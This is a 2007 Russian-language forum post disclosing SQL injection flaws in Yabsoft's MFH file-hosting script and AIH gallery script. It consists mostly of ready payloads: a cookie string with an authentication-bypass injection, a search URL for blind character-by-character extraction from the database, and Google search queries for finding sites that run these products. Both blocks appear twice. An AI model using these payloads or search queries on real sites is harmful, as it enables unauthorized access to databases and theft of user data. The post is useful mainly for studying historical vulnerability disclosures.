gemaglabin
28.06.2007, 13:20
Уязвимости в платных продуктах от Yabsoft.com , в галлерее и скрипте файлообменника.Для эксплуатации обоих требуется magic_quote_gpc off.
MFH - иньекция в куках ( google (http://www.google.com/search?hl=ru&ie=windows-1251&q=Powered+by%3A+MFH+v1.0&btnG=%CF%EE%E8%F1%EA&lr=) )
yab_uploadmode=2; pass_hash=0; yab_logined=1; yab_last_click=1183021167; yab_autologin=1; yab_uid=0'+or+1=1/*; yab_passhash=c4ca4238a0b923820dcc509a6f75849b;yab_ uploadmode=0;yab_sess_id=123;
AIM - возможен посимвольный перебор информации , хранящейся в базе данных. ( google (http://www.google.com/search?hl=ru&inlang=ru&ie=windows-1251&q=Powered+by%3A+AIH+v2.1&btnG=%CF%EE%E8%F1%EA&lr=) )
http://www.yabsoft.info/demo/aihspro/search.php?text=%')+or+ascii(substring((select+1+f rom+users+limit+1),1,1))%3E0/*&dosearch=Search
MFH - иньекция в куках ( google (http://www.google.com/search?hl=ru&ie=windows-1251&q=Powered+by%3A+MFH+v1.0&btnG=%CF%EE%E8%F1%EA&lr=) )
yab_uploadmode=2; pass_hash=0; yab_logined=1; yab_last_click=1183021167; yab_autologin=1; yab_uid=0'+or+1=1/*; yab_passhash=c4ca4238a0b923820dcc509a6f75849b;yab_ uploadmode=0;yab_sess_id=123;
AIM - возможен посимвольный перебор информации , хранящейся в базе данных. ( google (http://www.google.com/search?hl=ru&inlang=ru&ie=windows-1251&q=Powered+by%3A+AIH+v2.1&btnG=%CF%EE%E8%F1%EA&lr=) )
http://www.yabsoft.info/demo/aihspro/search.php?text=%')+or+ascii(substring((select+1+f rom+users+limit+1),1,1))%3E0/*&dosearch=Search